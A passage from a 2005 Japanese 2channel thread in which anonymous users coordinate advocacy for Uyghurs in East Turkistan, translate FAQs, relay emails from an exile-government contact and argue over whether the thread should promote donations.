 >円借款811.93億円、無償資金協力151.38億円(以上、交換公文ベース)、
 >技術協力65.24億円(JICA経費実績ベース)である。

うーん、どうなんだろ。


217 :spinel:2005/10/22(土) 00:09:00 ID:iSIFdJKo0
>>215
一緒に凸部隊でいきましょうw
ちょっとエネルギー充電中ですが、そのうちまた再開します。

218 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:22:56 ID:iSIFdJKo0
ウイグル太郎さんから返事
実は昼に電話が来たんだけど、ノイズがすごくて全然会話ができなくて、かなり焦ったw
もしかしてジャミング?? 盗聴??とかw
でもトルコからの国際電話だったので、なんとなくそれもありかなーと。 ちょっと安心。


スピネル 様:
こんばんは。ご返事を有難うございます。
2回電話したが出ていただけなくて。。。。。血圧が下がってしまった(^。^

私はトルコに住んでおります。

東トルキスタンのウェブサイトの英語→日本語訳、
英語→日本語訳はすごく助かりますけどね、毎日じゃなくても、主に1回ぐらい
でも。

義捐金ですが、今日まで一人しか送金していないです。増えていけばと期待して
おりますが。皆さんが送って頂いた募金は半年に一回総金額と使い道を公表しま
すので、ご安心ください。
断食し、夜口開けしてからは朝の5時40まで自由で、わいわい盛り上がっても
いいよ。

私も後20分で口開け。食べ始めます。自由になる、ラッキー!それまで我慢。
では、また。
ウイグル太郎
info@eastturkistan-gov.org
http://www.uygur.org/japan/news.htm


219 :たらこ@まとめ2:2005/10/22(土) 00:23:55 ID:T87hYFLr0
携帯用ページの叩き台できたのでどぞー。
http://taraco.plasticdreams.org/plet/
一応手持ちのINFOBARでは文字化けなく見れてます。
化けてるとかあったらレスください

220 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:30:29 ID:5gkYOyS/0
>>218
なんつーか、日本に期待してくれてるんだな
「支援する」とたきつけた手前、ある程度の事はやらないと
「日本人は口だけ」と思われそうだ

221 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:32:51 ID:iSIFdJKo0
上のウイグル太郎さんからの返事は、僕からの以下のメールへの返答です。

ラマダンが終わった時には、イスラムの方々はお祭り騒ぎのよ
うになると聞きましたので、それでこちらも何らかの楽しい行
事を一緒にやってみたいと思ったようです。
この案を出した人は、24日にとりあえず絶食して、その後に官
邸近くで屋外宴会OFF会などを考えたようです(笑)月曜日
なので時間的に難しいですね。

義捐金に関しては、既に知れ渡っていますね。ちらほらと募金
をしている方がいるようですが、いかがでしょうか?私も後ほ
どしたいと考えております。

東トルキスタンのウェブサイトの英語→日本語訳に関してです
が、何人かやってみたいと名乗り出てくれました。どこを翻訳
したら良いのか教えて頂けますでしょうか。



>>219
乙です。
古いJ-phone 絵は表示できなかたけど、文字問題なし。

222 :karabuki:2005/10/22(土) 00:34:25 ID:CtYEaLmj0
>>217

おK。 とりあえず情報収集しながら充電しときます。


>>216
ODAのことなら外務省のHPへ
ttp://www.cn.emb-japan.go.jp/jp/jodamenu.htm

読みづらくてムカつく。
言い訳っぽくてさらにムカつく


>>218
乙です。
でも、募金する側としては、事前に使い道が分かっていた方が良いかなと・・・
(チラシの裏)


>>219
乙です。
以前、北京オリンピック・ボイコット騒動のときにIOCにメールしたな。
返事は無かったが・・・・・orz


223 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:44:17 ID:XrAEvIiB0
郵便局に行く暇が無い・・・・・

224 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:44:49 ID:S7EZWoLD0
>>206
ゆ・ゆりこって「アマノウズメ」だったのか!!

225 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:49:07 ID:iSIFdJKo0
>>222

◆RXpf54Ttr6さんが東トルキスタン亡命政府のドイツの人とやりとりしていて、確か
・ドイツの口座でも、日本の口座でもどちらでも募金してもらって良い。
・使い道は、中国共産党に拘束された人の家族を助けるためと、宣伝活動のために。

って感じだったと思われ・・・
その8のログが会社のPCなんでちょっと不正確かもw

226 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:49:29 ID:BIL8eWrB0
ウイグル太郎のメール見てると、イスラムを身近に感じるな
今この瞬間にもラマダンという宗教行事を実行している人がいる、
という、世界の文化の豊富さに感動すら覚える。
もう中韓は放っておいていいでしょう、世界は広い。

ところで「ラマダンはつらいからやめようぜ」みたいな声は無いのかな?
唾すら飲み込んではいけないと聞いたが。

227 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:53:46 ID:QJkwjqrs0
>>223
おれは郵便局で送金したけど、手続きはいたって簡便だったよ。
住所と名前を書く欄があるけど、身分証明書を求められるわけでもないから
適当に書いておいた。

228 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 00:54:12 ID:6P84m4ci0
               ,.r'/// /   ,.-'      `' 、. \
             /       ,r'  ,r'       ,rfn、 \ '、
               / /////  ,'   ,'  ,rffn.   '"     ヽ ',
            i     ,.ァ   .i  '"     ,riiニヽ.   ',. ',
                |  ,.r '"  |.   {  ,riiニヽ      _.    ', ',
            | .,.r'    |   !   ,..  _,,.. -‐' _,..r'  i .i プギャー
            |,'      ',   ',   '、., __ ,.. -‐''"゙  }  | .|
        / ̄ ̄(_)   ',    `、  ヽ        !   } .}
          ししl_l  (     ',    '、  ヽ      ./   ! .|
        (_⊂、__)     `、   \  `ヽ==='゙    ,' !
             `、        '、     ' 、        / .,

大変おもしろかったですよ。



229 :fjell:2005/10/22(土) 01:14:22 ID:P5Mv+ojW0
>>214
ドキ。英訳は苦手なんで、見なかったことに。。
とりあえずFAQの1(超訳)。校正ヨロです。
----
Q.1 What can I do for?

A. Tell your friends of the serious human-rights violations by Chinese Communist Party in East Turkistan.
Appeal for the urgent necessity of international help to put an end human rights abuses.
Uyghur people of East Turkistan aspire to create a peaceful, nonviolent, and democratic society.
ACT NOW.

230 :fjell:2005/10/22(土) 01:22:52 ID:P5Mv+ojW0
FAQの2の前半。
----
Q.2 Besides my friends, I’d like to make much people aware of this issue.
A. Post messages on bbs, forum pages around the world.

There are many bulletin boards or individual blog covering social problems or human rights related topics.
Now leave your messages on these web pages.
In addition, you can submit your appeals directly to international organizations or authorities via email.
For example, it can be a good idea to send a mail telling such as “boycott the Beijing Olympics in 2008!” to the IOC.

231 :fjell:2005/10/22(土) 01:29:42 ID:P5Mv+ojW0
>>222, >>225 コレ↓
----
◆RXpf54Ttr6 投稿日:2005/10/19(水) 08:15:00 ID:0/17SWyn0
ドイツからの返事があった。
口座は日本でもドイツでも構わないので、便利な方を利用して欲しいとのこと。

あと使い道はほとんどが報道関係に費やす。他は運営のため。
武器を購入するようなことはせずに、人々の亡命などを含めた
人間を助けるための使い方をすると約束するとのことだった。

相変わらず行動も制限されるし難しいかもしれないけど
それをするのが目的だし、テロを行うようなことはしたくない。
中国と同じようなことを行いたくないとのことだった。

あと、日本人の励ましが多いみたいで非常に喜んでいることも書いてあった。
----


232 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 01:32:31 ID:WENTbwVh0
>日本人の励ましが多いみたいで非常に喜んでいることも書いてあった。

こういうのは素直に嬉しいね。

233 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 01:36:35 ID:iSIFdJKo0
>>fjellさん
さっそくの翻訳乙です。 後ほど見ます・・・
あと、ドイツからの返事フォローありがとうございます。

234 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 02:05:25 ID:jpGJEC4/0
>>226
唾は問題ないはず。
ただ、ラマダンは欲望を自制するという意味合いがあるらしく、
いわゆる敬虔な信者の中にはそうされる方もいらっしゃるようで。

235 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 02:38:33 ID:mEu7yBF+0
練る間煮にあげるぞ

236 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 03:02:12 ID:XrAEvIiB0
俺も寝るAGE。
もつかれ。

237 :fjell:2005/10/22(土) 03:06:45 ID:P5Mv+ojW0
Q2. の後半です。Q3の内容とまとめました。のでQ3はナシです。
----
i.e.)
1. Human Rights Organization, NGOs around the world
2. Politicians, journalists, academic authorities, governments, embassies, especially to Chinese Embassies abroad
2. Forums for Islamic people
3. Forums or blog for people in Taiwan or Hong Kong
4. Saving the Tibet campaign or organization
5. Forums or BBS related to China and the Chinese
Raise human rights issues about Uyghurs in East Turkistan: large persecution of Uyghur people,
executing political prisoners, cultural genocide, enforcement of abortion,
labeling Uyghurs as terrorists or separatism conducted by the Chinese Communist Party.

<<Template>>

Note: do not send millions of messages to someone may not have concern.
We are NOT spammers nor net board hackers!

238 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 03:46:54 ID:kiRql3Wy0
保守しますよー

239 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 04:34:56 ID:kiRql3Wy0
保守しますよう

240 :寒くて目が覚めたら、窓あいてたORZ:2005/10/22(土) 04:35:09 ID:S7EZWoLD0
開拓ソースです
profile:今谷 明http://www.nichibun.ac.jp/research/staff1/imatani_akira2.html
[中国の火薬庫―新彊ウイグル自治区の近代史]
書籍データ
単行本: 252 p ; サイズ(cm): 19 x 13
出版社: 集英社 ; ISBN: 4087811883 ; (2000/07)
おすすめ度: レビューの数: 1 レビューを書く
Amazon.co.jp 売上ランキング: 本で93,602位
目次
第1章 トルキスタンの成立
第2章 清朝とジュンガル帝国
第3章 同治の回乱とロシアの南下
第4章 左宗棠の新彊回復
第5章 大馬の逃亡―ふたたび回教徒大反乱
終章 東トルキスタン共和国の夢


241 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 06:18:43 ID:+5N2ZmPlO
>>221
うわ、すいません。
実行性の伴わない、適当な思い付きだったんです(汗。わざわざ送っていただくとは…
ニュース見て、小泉さんの肝入りだし、イスラム圏40ケ国が招待されるらしいので、何らかのアピールができないかと考えるんですが、思いつかず…
SPの間を掻い潜って、各国大使にビラ配り?
できる限り穏健は方法で、かつメディアに対しても、目立つ手段はないかと…。
そろそろ仕事いきますが、とりあえず、勤務中に考えます。

242 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 07:13:44 ID:arh7Nyu50
age

243 :karabuki:2005/10/22(土) 09:12:23 ID:D4yk4iJ00

ちきしょー
ウイルスコード貼りまくられて、かちゅがおかしくなってる・・・

>>225
>>231
あ、使い道ってはっきりしてたのね。
早とちりスマソ。

おれは偽善者だが、感謝の言葉ってのはやっぱ嬉しいな。
偽善にも力が入る。
財布の紐も緩む。


>>240
風邪ひかんかったかw

しかし、2000年から問題提起してた人がいたんだな。
その間も、中国からの弾圧に苦しんだ人がいるかと思うとやるせない・・・

ちょっくら図書館で探してくるわ。

244 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 10:03:23 ID:IePQBleE0
age

245 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 10:27:08 ID:AKJ55L860
>>221
>義捐金に関しては、既に知れ渡っていますね。

>1まとめサイトでは
Q.1 私たちに何が出来ますか?
A. この事実を広め、抗議と支援の輪を作ることです。
  現在、東トルキスタンへの募金はありません。直接助けに行くことも非常に危険で困難です。
  私たちに出来ることは、東トルキスタンの人々の苦しみを知り、人々に伝え、この様な弾圧を行っている中国政府を非難する
  輪を作ることです。

?????。で「東トルキスタン情報センターから寄付のお願い」見て初めて分かる義捐金。

>>218
>皆さんが送って頂いた募金は半年に一回総金額と使い道を公表しま
>すので、ご安心ください。

2ちゃんねら気質を考えるともっと豆に公表したほうが募金増えると思うのだが。
特に使い道については細かくして欲しい。

246 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 10:52:53 ID:P5Mv+ojW0
age

247 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 11:15:31 ID:jpGJEC4/0
モナパルトさんが姿を消して2週間経った。
ちょっと流れについて行けていないので、ミラーサイトとか更新されてる方を
筆頭に移動した方が良くないか。

248 :fjell:2005/10/22(土) 11:25:20 ID:P5Mv+ojW0
あぁ、そういえば… 英雄関係(?)
天安門事件の学生リーダーだったウルケシ氏は新疆出身なんですよね。
芳しくない噂も多々あるけど、情報操作もあるだろうから、なんとも…

wiki: http://ja.wikipedia.org/wiki/%E5%85%AD%E5%9B%9B%E5%A4%A9%E5%AE%89%E9%96%80%E4%BA%8B%E4%BB%B6
矢吹晋チャイナ・ウォッチ・ルーム:http://www25.big.or.jp/~yabuki/soso/pe910088.htm
真silkroad? ウルケシ氏の近況:http://kok2.no-blog.jp/tengri/2005/06/16_205e.html#comments

ちょっと微妙なネタですが。。

そういえば、前の職場で、上海出身のエンジニアさんが、
「わたし、天安門事件って、日本に来てから初めて知りましたー。ひどいですよねー」と言ってましたっけ…

249 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/22(土) 11:57:27 ID:drpH0zZD0
携帯用サイトのタイトル画像を作ってみました。
http://plasticdreams.tm.land.to/up/uploads/023.jpg

皆様、いかがでせうか?


250 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 12:10:21 ID:lToMhz1X0
まだ続いてるようだね!がんがれ!あげ

251 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 12:56:29 ID:CNJjnwqL0
どこに振り込んでいいのかワカラナス…

252 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 12:58:53 ID:iSIFdJKo0
>>245
募金活動はここの活動の一環ではないので、個人的に受けた要請などを宣伝している感じですね。
ドイツの方と連絡を取っている方もいます。
僕は昨日、写真使用の許可願いをメールしたら、ウイグル太郎さんから義捐金についても広めて欲しいと言われましたので。

義捐金口座については、2ちゃんねら専用ではないから、2ちゃんねらの気質に合わせた公表の仕方をお願いするのは難しいかも。
こまめに公表したら義捐金の集まりも良いかしれませんね、と伝えます。

>>247
旗振り役が欲しいとは思うけど、現状の各自がやりたいようにやっているのに、なんとなく役割分担ができているというのも2ちゃんねららしくて楽しいかと。

>>248
ウイグル族の人がリーダーだったんですか。初耳ですね。
東トルキスタンの独立運動は、自国内の自由と民主化を求める声を起こさせる起爆剤になるんでしょうね。

>>249
乙です。綺麗にまとまっていい感じですね。

>>251
ここです。
http://www.uygur.org/japan/et/2005/1018.htm

253 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 13:11:12 ID:iSIFdJKo0
ウイグル太郎さんからのメール要約;

東トルキスタン亡命政府と東トルキスタン情報センターの関係について説明します。

東トルキスタン情報センターは1996年成立した組織で、ドイツで登録されて
いる合法的な組織です。
東トルキスタンの情報を世界に知らせる役割をしてきました。情報センターは東トルキスタンの独立闘争を計画し、実行する組織ではありません。

主に、ドイツにいるトルコ人が個人的に支援してくれて、今まで仕事を続けてこれました。
オフィスの家賃、インターネット代、電話代、ファックス代、国内との連絡代など、ぎりぎりで続けてきています。

東トルキスタン情報センターのカラカシ主席は、東トルキスタン亡命政府の内務大臣、兼メディア大臣です。
センターは亡命政府の中で主な宣伝組織で、支援が必要ですが、亡命政府が決めて援助します。

支援金については、どこに払ったかインターネットで皆さんに公開します。もっとも苦しい状態の東トルキスタン難民、弾圧された革命者の家族、就職、子供たちの入学などに使い、それから東トルキスタンの現状を世界に知らせるために宣伝に使います。
領収書などは日本側の寄付して下さった皆さんに見せるし、1,2,3、、、の形で、最も必要なところに使うつもりです。
東トルキスタン亡命政府で、副首相のエリキン.エズィズは寄付責任者で、内閣に集まったお金を報告し、リストを送り、内閣の決定を実施して行きます。
秘密なことはありません。厳しく管理する予定です。
日本で口座を作った友人が一人ではなく、一つのグループ(会)で、そちらの皆さんも監督しているので、ご安心ください。
間に契約もありますので。法律により契約書も既に作ってあります。


254 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 13:16:54 ID:iSIFdJKo0
夜中に新しいメールがきてて、253は義捐金に関しての要約。
他には、


情報センターのニュース翻訳ですが、貴サイトには必要と思った記事を翻訳して
使っていいですが、センターで使うニュースは私が題名と内容を教えますので、
それだけをお願いします。時間もかかるし、精力も。

とのこと。

255 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 13:36:16 ID:SloVahkm0
進展してるな

256 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:14:16 ID:hqvr3HEY0
ウイグル太郎の口からは出てくる言葉は「金、金、金」ばかりじゅねーか。

ウイグル太郎には「2chで日本製のいい財布見っけた」と思われては適わん。
このスレは「独立目指す亡命政府の2ch支部」でも、財布でもない事は理解させろよ。
ここはチベットも含めた中国の弾圧を非難するスレだ。


募金の宣伝はするな。
金余ってるなら身近な貧しい日本人に廻せ。
どうしても海外へ寄付したいならアフリカ等の食料はもちろん着る物もないような人たちが先だ。




257 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:17:19 ID:f0qgGQRJ0
>>256
どこへ募金しようと個人の勝手。


258 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:25:10 ID:TTXdctEF0
>>256
もちつけ。
それから、カルシウムでもとっとけ。

259 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:27:27 ID:hqvr3HEY0
>>257
募金は勝手だが荒れるから宣伝はするなと言ってる。
その問題では前スレでもかなり荒れた。

260 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:42:48 ID:TTXdctEF0
ある程度、間口の広さを許容しないと、
この手の運動は続かなくなると思うよ。

もともと、「人権問題に関心が高い香具師」「とにかく中国が嫌いなヤシ」
「トルキスタンに興味がある香具師」「祭り好き」・・・
いろんな動機で人が集まってきているんだ。
考えの違う人間は余所でやれ、と隔離を繰り返すと、
残った人間も、極度に偏った方向になったりする。

材料は提示される。選択をするのは、各自。
それでいいじゃないか。

261 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:58:04 ID:hqvr3HEY0
>>260
亡命政府を支援する運動ではない。
金が絡むと胡散臭くなるから。
いままでそうやって細々続いてきたのがのがこのスレだ。

募金の話なら別板にスレたてろ。

262 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 14:59:28 ID:+mn7Lg7V0
使いようによってはマイナーなライターさんの発掘にはすごくいいチャンスなスレなんですけどね。
わたしは中国共産党が結果的に倒れるようならいいとおもって参加しています。
中国共産党嫌いでしょ?本当に牙を抜かなくてはいけない時期に入ってるのに国内では日中貴社協定とやらで盛りあがれない。
だとしたら、このスレで盛りあがるのも一つの手です。



263 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 15:05:40 ID:TTXdctEF0
>>261
あなたの言う事も正論だと思うし、
個人的には賛成なんだが。

ただ>>256で書いたみたいな、荒れ口調で書かれると、
ただの正義感なのか、あるいは正論のフリをした荒らしなのか、判別がつきにくくなる。
この手のスレには、必ず巧妙に破壊活動をするヤツが出てくるからね。

生え抜きのスレ住人なら、
もう少し丁寧な物言いで書いてほしいな。

264 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 15:24:39 ID:TTXdctEF0
保守

265 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 15:44:18 ID:rvfJN3/30
募金の話に拒否反応を見せてる書き込みが必死過ぎるから、それがうさんくさいね

266 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 15:48:36 ID:rSDMti6h0
なんで同じ応援の仕方を強制したがるわけ?


267 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 16:01:01 ID:hqvr3HEY0
>>266
中国人殺そうぜって応援して楽しいか?

268 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 16:11:12 ID:XrAEvIiB0
>>267
中国人殺せって言う流れは何時出たんだ?妄想はヤメレ。
募金は個人の自由だがこのスレで特に推奨はしないってなってるんジャマイカ?

269 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 16:23:45 ID:TTXdctEF0
だから、あまり話をセンシティブな方向に持っていくなよ。
挑発的に極端な例を持ち出すのも、荒らしと一緒だよ。

270 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 16:32:40 ID:hqvr3HEY0
>>268
「2chは自由だからスレの空気無視していいんじゃねっ」って感じの発言が癪に障る。
自由なら「中国人殺そうぜ」やってみろよ。
このスレ一気に過疎ってくぜ。
「亡命政府の募金」は人によっては「殺そうぜ」の延長線上に見える事も理解すべきだ。

独立運動を推進するならば人命を失う可能性は高い。
だからこそ東トルキスタン人の全ての意思が命を懸けて独立の意思で統一されている訳でもない。
亡命政府に肩入れしすぎるとそれこそ新規の人間には色眼鏡で見られかねない。
なによりも受け入れやすい形で保つ事でスレも荒れず、より多くの人が参加してくれる。

そういった意味合いも込めこのスレは中国の弾圧非難する為のスレとして焦点を絞ってきたはずだ。
ウイグル太郎の活動をこのスレの活動を同一視することの間違いに気付け。

だからこそ別板にスレ立てて勝手にやってろと言ってる。


271 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 16:52:34 ID:XqxX8VWQO
「募金したいなぁ」発言が出ちゃうのはある程度仕方ない事だと思う。初見で空気とか読めってのも酷な話だし。
あんましキツイいい方するのもな〜。
やっぱその都度スレの主旨を説明するしかないのかな?地道に続ける活動だから気を長くして、マターリ説明していけばいいんじゃないかな。

272 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 17:19:05 ID:yc2YsxgX0
>>271
つーか「空気嫁」といっても
どれが正しい「空気」かは、人により異なるだろ。

273 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 17:29:42 ID:rSDMti6h0
>>270
なんで「別板」なの?
別スレならわからなくもないが

274 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 17:42:31 ID:rvfJN3/30
>>270
大変そうだと思えば募金しようと思う空気が生まれるのは自然だと思う。
可能性で言えば独立運動による人命の喪失は100%だろうが、
中国共産党を東トルキスタンで維持するための人命喪失の可能性も100%だ。
支援すれば国土回復できる可能性が少しでもあるなら、支援したほうが
人の死ぬ可能性は低くなるだろう。

東トルキスタンの人々がどんな方針であれ意思を統一することはない。
世界中どの地域でも同じことだ。統一したと見えたときこそ色眼鏡で見られるぞ。

君の意見には賛成できない人が結構居るようだから圧倒的に受け入れやすい形と
はいえないだろう。

275 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 17:54:32 ID:iSIFdJKo0
もともとはここの宣伝用画像に無断転載があったから、東トルキスタン情報センターに事後承諾になるけど許可をお願いしたことから始まったんだよね。
まあ順を追って昨日からのレスを読んでもらえると良いな。
向こうからしたら、いろいろと協力してもらいたいことがあって、支援金の宣伝もその一つ。
東トルキスタン亡命政府の活動と、こちらの活動と重なる部分があるから協調できるところは協力し合いながらやっていければ良いと思っているが。

募金の使い道、領収書を寄付者へ提示、管理のしかた、契約の問題などなど疑問については答えてもらったから、もうこれくらいで詳しい話は書く必要もなくなるんじゃないかな。
この内容を基に、各自支援するかどうかを判断してください。


それと、ウイグル太郎さん個人の身の上話などw;

私は亡命して4年になりますが、今は国籍もなし、国連も受けてくれず、就職できず、バイトもできず(法律は許さない)、ただの滞在ビザも一年の8ヶ月をかけてやっと取って生きています。
センターから生活代、電話代、インターネット代など一切払っていません。
家族も国内にあり、非常に苦しいし、危険な身です。何の保障もありません。
祖国の為にセンターに国内の時から情報を送ったり、亡命してからニュースを書いたり、編集したり、センターの副主席、ニュース主任として働いております。

276 :風邪には気をつけよう!ミクシュンミ:2005/10/22(土) 18:21:23 ID:S7EZWoLD0
募金がらみのコメントはテンプレにある専用板でやって頂戴マセ!という話ができてたのでは?
意見のあるかたは、そちらへどうぞですw



277 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 18:32:15 ID:hqvr3HEY0
>>274
1,000円で何発の銃弾が買えるか考えたことがあるか?
1発の銃弾で中国人を殺し、そして報復という更なる悲劇を生む。
たかが1,000円されど1,000円なんだ。

亡命政府が募金の使用用途を明確化したところで、亡命政府すべての金の流れが明らかになるわけではない。
仮に裏で亡命政府から武力を伴う独立運動組織に金が流しているとしよう。
その資金は募金の金と別と考えるのであれば、その考えはあまりにも稚拙すぎる。
いくらウイグル太郎が金の流れを明瞭化したところで、完全に疑念を払拭するのは不可能だろう。

ウイグル太郎を疑うわけではないが、2chとはいえ本業の運動家がこのスレに参加する事もありえる。
仮にある国の工作員が軍資金を工面する為にこのスレに参加してたとしよう。
導かれる方向はおのずと偏向してくるはずだ。
今後VIP発の善意の運動が自由の名の下に利用されやすい事も確かだ。

モナパルトのまとめページでもトップに
「そして我々は武装組織ではなく東トルキスタンの全ての人々の平和と弾圧からの自由を願っているのであって
独立をとにかく支持していたりするものでは有りません。 」
と記載している。

これはスレを「テロ支援」と批判されるたびに、「独立運動とは別、あくまでもチベット同様、中国の弾圧を非難する為」と反論し、洗練されていった大義名分である。

この運動を推進した結果、募金という形で支援が銃弾・爆弾に変わり、その銃弾・爆弾それが人命を奪うような事実が今後起こるなら、
モナパルト自身もまとめページを作成したことを後悔するかもしれない。
そういった今までこのスレに関わってきた人間の気持ちも込め「中国からのチベットも含めた弾圧を非難することのみ」にこだわるべきだ。

だからこそ募金は別スレたてて勝手にやってろ、ここで宣伝するなと言っている。




278 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 18:52:02 ID:kLSD/wId0
>>274
もう募金の話はいいよ。
君こそ空気を読んでくれ。
そこまで支援方針がはっきりしてるなら、
HPでも作って、そこでやんなよ。

279 :278:2005/10/22(土) 18:54:01 ID:kLSD/wId0
ごめんアンカーミス

×>>274
>>277

280 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 19:02:24 ID:XrAEvIiB0
なんっつーか久弥スパイラルだな。

>>277
藻前さんの書き込みはちとアレ過ぎる用に思う。
募金関係の議論がしたいなら
http://plasticdreams.tm.land.to/bbs/
こっち行ってやってくれ。

281 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 19:43:17 ID:XrAEvIiB0
保守上げ

282 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 19:56:26 ID:zWnppk4z0


283 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 20:05:03 ID:G4czCcP90
捕手。

毎日infoseek検索で1分おきにリロードしているのに今週のランキングでは出てこなかったなぁ

284 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 20:41:16 ID:XrAEvIiB0
支援age
漏れも5分後とにリロードし続けたんだが・・

285 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 21:14:03 ID:G4czCcP90
これからもpc起動中はやっていこう。
一人一人が出来ることをやっていけばいいのさ

286 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 21:20:47 ID:iSIFdJKo0
それぞれの活動乙です。
久弥スパイラル調べてしまったwwwwwww フラッシュもみたwwww

287 :fjell:2005/10/22(土) 21:30:20 ID:P5Mv+ojW0
>>275
ウイグル太郎さん…たいへんなんですね。
国籍もないって、アナタ…。ひどすぎる。。

民族的に同属のトルコですら、ウイグル人に対する難民申請の許可が厳しくなっているとか…
人権問題への取り組みが熱心な、オランダやベルギー、ドイツ、北欧諸国ですら、
なかなか許可が下りないそうで…

そういえば。中国が返還要求を繰り返している、アメリカ政府に保護されたウイグル人の政治犯(て、中国様の言い分)も、
身元を引き受ける第三国がなかなか現れず、難航していましたよね…

難民を受け入れることによって、「靖国問題」みたいに中国様がネチネチ絡んでくるのがわかっているので、
中国に企業が進出しているヨーロッパ諸国は、どうも手が出せないようです。

国家の官僚レベルならいざ知らず、一般市民ですら政治・経済難民として受け入れられないように
裏にガッチョリ手をまわしている中国様には、ホント、腹が立つ。。。

昔、台湾人の知り合いが、ヨーロッパを旅行するにも、入国できない国があって、
「日本人はいいよね。どこにでも行けるから」と、ポツリと呟いていました。
その人は、公務員だったので、制約がより厳しかったのか、今の状況は違うのかとかは、
ちょっとわからないんですけど。。。

>>262 マイナーと言っては失礼になりますが、押田女史には頑張ってほしいと思います。
ぜひ、ご一読を「知れば誰でも激怒する、 これが中国だ! by押田明子」
http://oshida.exblog.jp/

288 :fjell:2005/10/22(土) 21:47:25 ID:P5Mv+ojW0
募金の話がでると荒れますね…

組織運営にお金がかかるのは、いたしかたないと思うひとりなんですが。。
商業的なヒット(シリコンバンドでもw)を出して、自活運営できると良いかもしれませんが、
そうすると「まじめにやれ」なんて反対の声もあがるんでしょうなぁ。

2chは、諸々の制約がないので、自由に活動できるので良いですよね。
なんか、色々アイデア出したいですね。

ターコイズブルーのバラのモチーフ、かわいいと思うんですけど。
これからの時期だったら、セーターの刺繍とか、フェルトの飾りとか。
女子ウケすると思うんですけど、どうでそ?
革製のブローチ、なんてのも素敵かもだ。

男性の方も、ぜひ。「え、なにこれ?」と聞かれたら、そこですかさず、
「東トルキスタンって知ってる?」と、語るですよ。
「東トルキスタンの、アジアの、そして世界の平和と自由のために..」と締めたら、
なんかコロっと騙せそうですよ。や、冗談。

289 :fjell:2005/10/22(土) 21:54:05 ID:P5Mv+ojW0
なんかひとりで延々と続けてみますー。

歳がバレそうですが、バラのモチーフに絡んで、
「青いバラの人」を思い出し、ひとりでウケています。

ぜひぜひ、男性陣に背広の胸ポケットに飾っていただき、
「まさか、あなたが、青いバラの人…ッッ」と、白目を剥いて驚愕する、なんて
ガラスの仮面ゴッコをしてみたい。

脱線すまそ。東トルねた狩猟に戻ります。

290 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 21:59:48 ID:VI2fOKoB0
なんつーか>>275を読むと、国家の大切さを痛感するな
「地球市民」とか言ってる連中に見せてやりたい

291 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 22:12:12 ID:nJGPohIc0
ぬー、がっこの宿題がいっぱいあってこまるorz
ほしゅっしゅしゅ

292 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 22:28:33 ID:up79zZWyO
薔薇は紫…と不粋なツッコミはさておき。

まとめサイトのURL入りでバックプリント入りのパーカーでも作るか…なんて薔薇のEPSを作ったまでは良かったんですが、私男なんですよねwニアワナスwww

なので仕事の合間に、国旗(?)をモチーフにしたデータを作成中です。データはUPしますので、宜しければご利用下さい。

293 :fjell:2005/10/22(土) 23:00:30 ID:P5Mv+ojW0
>>292
